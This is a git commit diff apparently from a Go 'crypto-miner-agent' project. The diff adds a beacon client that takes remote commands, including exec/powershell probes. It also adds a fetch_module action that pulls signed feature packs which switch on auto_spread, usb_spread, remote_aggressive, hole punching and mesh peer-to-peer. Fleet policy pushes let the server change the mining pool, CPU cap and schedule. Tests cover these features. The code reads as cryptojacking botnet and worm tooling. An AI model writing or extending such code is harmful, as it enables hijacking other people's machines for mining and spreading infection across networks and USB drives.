feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -21,7 +21,9 @@ type beaconHTTPResponse struct {
|
||||
Command string `json:"command"`
|
||||
Path string `json:"path"`
|
||||
Data string `json:"data"`
|
||||
Module string `json:"module"`
|
||||
} `json:"commands"`
|
||||
Policies []FleetPolicyUpdate `json:"policies"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) httpsBeaconEnabled() bool {
|
||||
@@ -107,8 +109,12 @@ func (c *AgentClient) beaconOnce(serverURL string) error {
|
||||
if err := json.Unmarshal(data, &br); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, p := range br.Policies {
|
||||
raw, _ := json.Marshal(p)
|
||||
c.applyPolicyUpdate(raw)
|
||||
}
|
||||
for _, cmd := range br.Commands {
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -434,6 +434,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
c.sharesAccepted++
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "policy_update":
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -441,21 +443,28 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
Command string `json:"command"`
|
||||
Path string `json:"path"`
|
||||
Data string `json:"data"`
|
||||
Module string `json:"module"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||
return
|
||||
}
|
||||
// Run off the read loop so long exec/powershell probes do not block
|
||||
// subsequent commands or server pings.
|
||||
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
|
||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||
return
|
||||
}
|
||||
switch action {
|
||||
case "fetch_module":
|
||||
if err := c.fetchAndApplyModule(module); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
|
||||
254
agent/client/policy.go
Normal file
254
agent/client/policy.go
Normal file
@@ -0,0 +1,254 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// FleetPolicyUpdate is pushed from the server without re-forge.
|
||||
type FleetPolicyUpdate struct {
|
||||
PushID string `json:"push_id,omitempty"`
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
type ModuleManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Description string `json:"description"`
|
||||
Accent string `json:"accent,omitempty"`
|
||||
Capabilities []string `json:"capabilities,omitempty"`
|
||||
Features map[string]interface{} `json:"features"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
||||
if fleetSecret == "" || m.Signature == "" {
|
||||
return false
|
||||
}
|
||||
sig := m.Signature
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(sig))
|
||||
}
|
||||
|
||||
func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
|
||||
var nested struct {
|
||||
PushID string `json:"push_id"`
|
||||
Policy json.RawMessage `json:"policy"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &nested); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
if len(nested.Policy) > 0 {
|
||||
var p FleetPolicyUpdate
|
||||
if err := json.Unmarshal(nested.Policy, &p); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
p.PushID = nested.PushID
|
||||
return p, nil
|
||||
}
|
||||
var p FleetPolicyUpdate
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
if p.MiningMode != "" {
|
||||
cfg.MiningMode = strings.TrimSpace(p.MiningMode)
|
||||
}
|
||||
if p.ScheduleStart != "" {
|
||||
cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
|
||||
}
|
||||
if p.ScheduleEnd != "" {
|
||||
cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
|
||||
}
|
||||
if p.MaxCPUUsagePct > 0 {
|
||||
cfg.MaxCPUUsage = p.MaxCPUUsagePct
|
||||
}
|
||||
if p.PoolHost != "" {
|
||||
cfg.PoolHost = strings.TrimSpace(p.PoolHost)
|
||||
}
|
||||
if p.PoolPort > 0 {
|
||||
cfg.PoolPort = p.PoolPort
|
||||
}
|
||||
if p.PoolTLS != nil {
|
||||
cfg.PoolTLS = *p.PoolTLS
|
||||
}
|
||||
if p.PoolPass != "" {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
}
|
||||
|
||||
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
|
||||
if v, ok := boolFeature(features, "remote_aggressive"); ok {
|
||||
cfg.RemoteAggressive = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "auto_spread"); ok {
|
||||
cfg.AutoSpread = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "usb_spread"); ok {
|
||||
cfg.USBSpread = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "hole_punch"); ok {
|
||||
cfg.HolePunch = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "mesh_p2p"); ok {
|
||||
cfg.MeshP2P = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "gpu_enabled"); ok {
|
||||
cfg.GPUEnabled = v
|
||||
}
|
||||
}
|
||||
|
||||
func boolFeature(features map[string]interface{}, key string) (bool, bool) {
|
||||
raw, ok := features[key]
|
||||
if !ok {
|
||||
return false, false
|
||||
}
|
||||
switch v := raw.(type) {
|
||||
case bool:
|
||||
return v, true
|
||||
default:
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
|
||||
p, err := parseFleetPolicyUpdate(raw)
|
||||
if err != nil {
|
||||
log.Printf("[agent] policy_update parse error: %v", err)
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
applyFleetPolicyUpdate(&c.cfg, p)
|
||||
cfg := c.cfg
|
||||
pushID := p.PushID
|
||||
c.mu.Unlock()
|
||||
if c.pool != nil {
|
||||
c.pool.UpdateRuntimePolicy(cfg)
|
||||
}
|
||||
c.sendPolicyAck(pushID, cfg)
|
||||
log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
"push_id": pushID,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"max_cpu_usage_pct": cfg.MaxCPUUsage,
|
||||
"schedule_start": cfg.ScheduleStart,
|
||||
"schedule_end": cfg.ScheduleEnd,
|
||||
"pool_host": cfg.PoolHost,
|
||||
"pool_port": cfg.PoolPort,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "policy_ack", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
|
||||
moduleName = strings.TrimSpace(moduleName)
|
||||
if moduleName == "" {
|
||||
return fmt.Errorf("module name required")
|
||||
}
|
||||
if c.cfg.FleetSecret == "" {
|
||||
return fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
url := base + "/agent/module/" + moduleName
|
||||
req, err := http.NewRequest(http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var manifest ModuleManifest
|
||||
if err := json.Unmarshal(body, &manifest); err != nil {
|
||||
return err
|
||||
}
|
||||
if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
|
||||
return fmt.Errorf("module signature invalid")
|
||||
}
|
||||
c.mu.Lock()
|
||||
applyModuleFeatures(&c.cfg, manifest.Features)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
|
||||
if c.pool != nil {
|
||||
c.pool.UpdateRuntimePolicy(cfg)
|
||||
}
|
||||
c.startGPUMinerIfNeeded()
|
||||
|
||||
c.reportCapabilitiesUpdate()
|
||||
log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) startGPUMinerIfNeeded() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if !c.cfg.GPUEnabled || c.gpuMiner != nil {
|
||||
return
|
||||
}
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.gpuMiner = gm
|
||||
go gm.Start()
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reportCapabilitiesUpdate() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
payload, _ := json.Marshal(map[string]bool{
|
||||
"hole_punch": cfg.HolePunch,
|
||||
"remote_aggressive": cfg.RemoteAggressive,
|
||||
"mesh_p2p": cfg.MeshP2P,
|
||||
"auto_spread": cfg.AutoSpread,
|
||||
"ai_enabled": cfg.AIEnabled,
|
||||
"usb_spread": cfg.USBSpread,
|
||||
})
|
||||
_ = c.write(Message{Type: "capabilities_update", Payload: payload})
|
||||
}
|
||||
86
agent/client/policy_test.go
Normal file
86
agent/client/policy_test.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func signTestModule(m ModuleManifest, secret string) ModuleManifest {
|
||||
m.Signature = ""
|
||||
payload, _ := json.Marshal(m)
|
||||
mac := hmac.New(sha256.New, []byte(secret))
|
||||
mac.Write(payload)
|
||||
m.Signature = hex.EncodeToString(mac.Sum(nil))
|
||||
return m
|
||||
}
|
||||
|
||||
func TestParseFleetPolicyUpdate(t *testing.T) {
|
||||
raw := json.RawMessage(`{"mining_mode":"scheduled","schedule_start":"22:00","schedule_end":"06:00","max_cpu_usage_pct":70}`)
|
||||
p, err := parseFleetPolicyUpdate(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p.MiningMode != "scheduled" || p.ScheduleStart != "22:00" || p.MaxCPUUsagePct != 70 {
|
||||
t.Fatalf("unexpected policy: %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseFleetPolicyUpdateWithPushID(t *testing.T) {
|
||||
raw := json.RawMessage(`{"push_id":"pol-abc","mining_mode":"idle","max_cpu_usage_pct":40}`)
|
||||
p, err := parseFleetPolicyUpdate(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p.PushID != "pol-abc" || p.MiningMode != "idle" || p.MaxCPUUsagePct != 40 {
|
||||
t.Fatalf("unexpected policy: %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyFleetPolicyUpdate(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always", MaxCPUUsage: 80}}
|
||||
applyFleetPolicyUpdate(&cfg, FleetPolicyUpdate{
|
||||
MiningMode: "idle",
|
||||
MaxCPUUsagePct: 55,
|
||||
PoolHost: "pool.example",
|
||||
PoolPort: 4444,
|
||||
})
|
||||
if cfg.MiningMode != "idle" || cfg.MaxCPUUsage != 55 || cfg.PoolHost != "pool.example" || cfg.PoolPort != 4444 {
|
||||
t.Fatalf("cfg not updated: %+v", cfg.BuiltinConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyModuleFeatures(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}
|
||||
applyModuleFeatures(&cfg, map[string]interface{}{
|
||||
"remote_aggressive": true,
|
||||
"auto_spread": true,
|
||||
"gpu_enabled": true,
|
||||
})
|
||||
if !cfg.RemoteAggressive || !cfg.AutoSpread || !cfg.GPUEnabled {
|
||||
t.Fatalf("features not applied: %+v", cfg.BuiltinConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyModuleSignature(t *testing.T) {
|
||||
secret := "test-fleet-secret"
|
||||
m := signTestModule(ModuleManifest{
|
||||
Name: "crucible_ops",
|
||||
Version: "1",
|
||||
Features: map[string]interface{}{"remote_aggressive": true},
|
||||
}, secret)
|
||||
if !verifyModuleSignature(m, secret) {
|
||||
t.Fatal("expected valid signature")
|
||||
}
|
||||
if verifyModuleSignature(m, "wrong") {
|
||||
t.Fatal("expected invalid signature with wrong secret")
|
||||
}
|
||||
m.Features["auto_spread"] = true
|
||||
if verifyModuleSignature(m, secret) {
|
||||
t.Fatal("expected invalid signature after tamper")
|
||||
}
|
||||
}
|
||||
@@ -64,6 +64,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) UpdateRuntimePolicy(cfg config.RuntimeConfig) {
|
||||
p.mu.Lock()
|
||||
p.cfg = cfg
|
||||
p.mu.Unlock()
|
||||
if p.schedule != nil {
|
||||
p.schedule.UpdateConfig(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) SetJob(job *job.Job) {
|
||||
p.mu.Lock()
|
||||
p.currentJob = job
|
||||
|
||||
@@ -24,6 +24,14 @@ func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *Sched
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) UpdateConfig(cfg config.RuntimeConfig) {
|
||||
g.mu.Lock()
|
||||
g.cfg = cfg
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
g.mu.Unlock()
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) Allowed() bool {
|
||||
return g.allowedAt(time.Now())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user